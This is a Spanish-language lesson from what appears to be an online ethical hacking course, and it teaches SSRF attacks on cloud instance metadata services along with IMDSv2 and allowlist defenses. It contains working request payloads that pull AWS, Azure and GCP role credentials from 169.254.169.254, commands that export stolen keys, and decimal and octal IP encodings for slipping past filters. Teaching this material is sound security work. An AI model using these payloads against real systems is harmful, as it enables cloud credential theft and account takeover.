Ethical Hacking Academy · Lección

Metadatos y SSRF

Ataques específicos de la nube

Lección 4 de 413 pasos

Metadatos y SSRF es una lección gratuita de Ethical Hacking Academy en CoddyKit. Esta es la lección 4 de 4. Puedes leer la lección completa abajo gratuitamente — luego la practicas en el navegador con un editor de código integrado y un tutor de IA 24/7. Forma parte de la ruta de aprendizaje de Ethical Hacking Academy, y tu progreso se sincroniza en la web y la app de CoddyKit. El curso de Ethical Hacking Academy incluye 4 lecciones en total.

El servicio de metadatos de la instancia

Toda VM en la nube puede consultar un endpoint interno especial para obtener información sobre sí misma: el Instance Metadata Service (IMDS). Y lo que es más importante, también puede proporcionar las credenciales temporales del rol asociado a la instancia.

  • AWS / GCP / Azure exponen metadatos en 169.254.169.254
  • Solo se puede acceder a él desde dentro de la instancia
  • No requiere autenticación por parte de los procesos locales

Esta comodidad se convierte en un arma cuando se combina con SSRF.

Lectura de metadatos de AWS (IMDSv1)

En el IMDSv1 heredado, una única solicitud GET devuelve metadatos, incluidas las credenciales del rol. No se necesita ningún token.

Precisamente por eso IMDSv1 es peligroso cuando una aplicación presenta SSRF.

# List roles attached to the instance
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Retrieve the temporary credentials for a role
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role

Qué es SSRF

Server-Side Request Forgery (SSRF) es una vulnerabilidad en la que un atacante engaña a un servidor para que realice solicitudes HTTP en su nombre. El servidor se convierte en un proxy hacia lugares a los que el atacante no puede acceder directamente.

  • Un parámetro de URL que el servidor obtiene
  • Un webhook, un generador de PDF o una función para cambiar el tamaño de imágenes
  • Cualquier elemento que acepte una URL proporcionada por el usuario

El objetivo clásico de SSRF en la nube es el endpoint de metadatos.

SSRF se combina con los metadatos

La combinación letal: una aplicación con SSRF permite al atacante dirigir el servidor a 169.254.169.254. El servidor obtiene las credenciales de IAM de la instancia y se las devuelve.

El atacante ya dispone de credenciales de la nube, lo que a menudo constituye el inicio de una toma de control completa de la cuenta.

# Vulnerable endpoint fetches any URL the user supplies
GET /fetch?url=http://example.com/image.png

# Attacker redirects it to the metadata service
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role

Uso de credenciales robadas

La respuesta de metadatos contiene una clave de acceso, una clave secreta y un token de sesión. El atacante las exporta y actúa inmediatamente como el rol de la instancia.

A partir de aquí, enumera los permisos y busca vías de escalada.

export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# Confirm the stolen identity
aws sts get-caller-identity

IMDSv2 como defensa

AWS introdujo IMDSv2 para mitigar SSRF. Primero requiere un token de sesión obtenido mediante una solicitud HTTP PUT, algo que la mayoría de las primitivas SSRF no pueden realizar, ya que solo ejecutan solicitudes GET.

Aplicar IMDSv2 y establecer un límite de saltos bajo reduce drásticamente el robo de metadatos mediante SSRF.

# IMDSv2: first PUT to get a session token
TOKEN=$(curl -X PUT 'http://169.254.169.254/latest/api/token' \
  -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600')

# Then GET using that token
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/

Metadatos de Azure y GCP

Los demás proveedores también exponen metadatos, aunque con sus propias particularidades. Ambos requieren un encabezado especial, lo que constituye por sí mismo una pequeña mitigación contra SSRF.

  • Azure requiere Metadata: true
  • GCP requiere Metadata-Flavor: Google
# Azure: fetch a managed-identity access token
curl -H 'Metadata: true' \
  'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'

# GCP: fetch a service-account token
curl -H 'Metadata-Flavor: Google' \
  'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'

Técnicas para eludir SSRF

A menudo, los defensores bloquean 169.254.169.254. Los atacantes eluden los filtros ingenuos mediante codificaciones IP alternativas y redirecciones.

  • IP decimal: 2852039166
  • Codificaciones octales o hexadecimales de la misma dirección
  • DNS rebinding hacia un nombre que resuelve a la IP de metadatos
  • Redirecciones abiertas que redirigen la solicitud a la URL de metadatos

Las defensas sólidas deben validar la IP resuelta, no la cadena sin procesar.

# The metadata IP in alternate notations (all 169.254.169.254)
http://2852039166/latest/meta-data/
http://0251.0376.0251.0376/latest/meta-data/

Otros objetivos de SSRF

Los metadatos son el objetivo principal, pero SSRF también permite acceder a otros recursos internos:

  • Paneles de administración y dashboards internos vinculados a localhost
  • Bases de datos y cachés internos (Redis, Elasticsearch)
  • Servidor de API de Kubernetes y endpoints de kubelet
  • Otros microservicios que no están expuestos externamente

SSRF atraviesa eficazmente el perímetro de red desde un punto de vista de confianza.

Defensa frente a la cadena de ataque

Para romper la cadena de SSRF a metadatos se necesita una defensa por capas:

  • Aplique IMDSv2 y establezca el límite de saltos de metadatos en 1
  • Valide las URL salientes y use una lista de permitidas en las funciones de obtención
  • Bloquee las solicitudes a rangos de IP locales al enlace y privados después de resolver el DNS
  • Aplique el principio de mínimo privilegio a los roles de las instancias para limitar las credenciales robadas

Los roles con privilegios mínimos garantizan que incluso un robo exitoso tenga consecuencias limitadas.

Pruebe solo aquello para lo que está autorizado

Las pruebas de SSRF pueden alcanzar deliberadamente sistemas internos sensibles. Actúe con disciplina:

  • Confirme que el host objetivo y la cuenta de la nube están dentro del alcance
  • No se desplace hacia sistemas ajenos al encargo
  • Deténgase e informe en cuanto haya demostrado el acceso a las credenciales

Acceder a los metadatos tiene un gran impacto: demuéstrelo con cuidado y no utilice sin control las claves robadas.

Comprobación rápida

¿Por qué ayuda aplicar IMDSv2 a defenderse del robo de credenciales basado en SSRF?

Resumen: metadatos y SSRF

Ha aprendido la cadena de ataque específica de la nube con mayor impacto.

  • El servicio de metadatos en 169.254.169.254 proporciona las credenciales del rol de la instancia
  • SSRF permite que un atacante haga que el servidor consulte ese endpoint
  • Las credenciales temporales robadas permiten tomar el control de la cuenta
  • IMDSv2 bloquea la mayoría de los ataques SSRF al requerir un token basado en PUT
  • Defiéndase mediante listas de permitidas para URL, validación de IP y roles con privilegios mínimos

Con esto termina Pentesting de la nube. Siguiente curso: Bug Bounty Hunting.

Gratis para empezar

Aprende Ethical Hacking Academy con un tutor de IA — gratis

Escribe y ejecuta código real en tu navegador, obtén ayuda instantánea de un tutor de IA disponible 24/7 y continúa donde lo dejaste en la web o en la aplicación.

Cursos
31
Lecciones
111

Preguntas frecuentes

¿La lección «Metadatos y SSRF» es gratis?

Sí — el texto completo de «Metadatos y SSRF» es gratis para leer aquí en la web. Para practicarla de forma interactiva (editor de código integrado y tutor de IA 24/7) y desbloquear el resto del curso de Ethical Hacking Academy, actualiza a CoddyKit PRO. El curso de Ethical Hacking Academy incluye 4 lecciones en total.

¿Qué aprenderé en «Metadatos y SSRF»?

Ataques específicos de la nube Practicas Ethical Hacking Academy con código real que ejecutas directamente en el navegador, y un tutor de IA 24/7 responde tus preguntas mientras trabajas en la lección.

¿Necesito experiencia previa para empezar Ethical Hacking Academy?

No se requiere experiencia previa. Ethical Hacking Academy en CoddyKit está estructurado para principiantes hasta estudiantes avanzados, así que puedes empezar aquí o desde el inicio y avanzar a tu ritmo. Esta es la lección 4 de 4.

¿Cuánto tiempo toma la lección «Metadatos y SSRF»?

La mayoría de las lecciones de CoddyKit toman alrededor de 5–10 minutos. Cada una es compacta e interactiva, así que avanzas constantemente y retomas exactamente por donde dejaste en la web y la app.

¿Puedo escribir y ejecutar código en esta lección de Ethical Hacking Academy?

Sí. Cada lección de Ethical Hacking Academy incluye un editor de código integrado, así que escribes y ejecutas código real directamente en tu navegador y obtienes retroalimentación instantánea de IA — sin configuración local necesaria.

Todas las lecciones de este curso

  1. Superficie de ataque en la nube
  2. Configuraciones incorrectas de IAM
  3. Exposición de S3 y del almacenamiento
  4. Metadatos y SSRF
← Volver a Ethical Hacking Academy